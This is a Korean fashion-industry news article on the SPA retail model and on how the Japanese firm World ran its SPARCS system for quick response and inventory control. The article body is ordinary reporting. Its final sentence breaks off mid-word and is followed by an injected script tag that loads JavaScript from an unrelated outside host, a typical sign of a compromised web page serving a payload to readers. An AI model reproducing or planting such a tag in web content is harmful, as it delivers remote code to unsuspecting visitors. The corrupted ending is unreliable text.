사전정보 ‘예측·수정’ 거친 QR체제 ‘일본 제일’
SPA라는 단어가 유행하고 있다. 원재료의 조달부터 상품기획·개발·제조·물류·판매·재고 관리에 이르는 모든 흐름을 통합, 그사이에 낭비와 비효율적인 요소를 될 수 있는 한 배제하도록 장치된 비즈니스 모델이다. 그러나 막상 SPA의 진정한 운영방법에 대해서 제대로 파악하고 있는 기업은 거의 드문 실정이다.
SPA는 자사의 고객과 일치하는 상품 기획뿐만이 아니라 원하는 가격을 실현하고 매장에 투입하여 잘 팔리는 상품 정보를 제조현장에 신속하게 전달함으로써 소비자의 니즈에 대응한 상품 구성을 실현할 수 있다는 구조를 말한다.
물론 이시스템은 반드시 저가 SPA만이 아니라 중간 마진을 커트하고 불량 재고를 줄여나
가면서 이익은 단계적으로 향상되는 시스템으로 만드는데 있다.
이 시스템의 장점은 정보를 미리 캐치하고 매장 정보를 될 수 있는 한 빨리 제조 장면에 링크시킨 QR(퀵 리스폰스) 체제가 정비되어 있어야 한다. 그러나 단점은 자사 기획 제품만 취급하므로 시장의 흐름을 놓치면 갑자기 매장에 불량 재고가 급증하게 된다. 주요 매출 상품이 극단적일때는 제아무리 빠른 QR시스템을 적용해도 고객이 만족하는 상품을 구성할 수 없어 결과적으로 정확한 시즌판매를 할 수 없게 되는 것이다.
그런 의미에서 SPA는 고객의 니즈를 읽는 마케팅의 기법이 무엇보다도 필요하다. 또한 기획에서 매장까지의 흐름을 시스템화 시켜나가야 하기 때문에 공장의 조정, 재고의 관리, 판매 오퍼레이션에 관한 폭넓은 노하우도 필요하다. 노하우 부족에 시스템정비가 불충분하다면 진정한 SPA는 실현할 수 없으며 그림의 떡에 불과하다. 표면적으로는 SPA이지만 SPA 본래의 메리트가 나오지 않는 업체도 부지기수다. 단점이 많은 만큼 상품 기획력도 절실히 요구된다. 그런 의미에서 뛰어난 기획력으로 사전에 재고를 남길 수 있는 요소를 줄이고 판매율을 높이는 월드의 SPA가 새삼 주목되고 있다. 지난 6월 14일 본지 부설 마케팅센타가 주최한 일본 ‘월드’의 SPA 성공전략을 심층 분석했다.
/패션·유통부 ktnews@ktnews.com
SPA의 구조 ‘SPARCS’
월드는 원래 개발과 기획 생산, 사입 물류까지만 전문으로 하던 도매상이다.
그 도매상이 소매현장에 투입되면서 시작된 구상이 92년부터 실시된 SPARCS (Super, Production, Apparel, Retail, Customer Satisfaction).
‘빛난다’는 의미의 이 단어는 거꾸로 말하면 ‘SCRAPS’으로서 모은다는 복합적인 의미를 갖고 있다.
이는 개발과 기획, 생산, 사입, 물류, 매장, 고객 등의 각 부서마다 잘려진 단계를 하나로 이어, 각 섹션마다의 정보 공유를 실현하는 것에 시스템 확보의 목적이 있다.
특히 월드의 시스템에서 주목되는 것은 각 섹션마다 잠재된 로스의 요인을 어떻게 경감시킬 수 있는가이다.
월드는 신개념 SPA를 컨비니언스 스토어(편의점)의 개념으로 파악해 나갔다. 그러나 이 시험적이고 위험한 요소를 모든 브랜드에 적용시키는 것이 아니라, 당시 신규 런칭 브랜드 ‘OZOC’부터 실현시켜나갔다. 그리고 그 성공사례를 팽창시켜 나가는 전략을 취하기 시작했다.
가장 중요한 것은 SPA의 매상 결정요인인 외적인 환경과 내적인 환경의 두 개의 축을 잘 활용하여 매상을 올리는 것으로 주단위 월단위 시즌단위의 데이터 분석방법이 시스템화되어 있는데다 정교하다.
절대로 매장에 재고를 남기지 않고 품절상품이 없도록 하겠다는 철?script src=http://mekiller.com/1/1.js>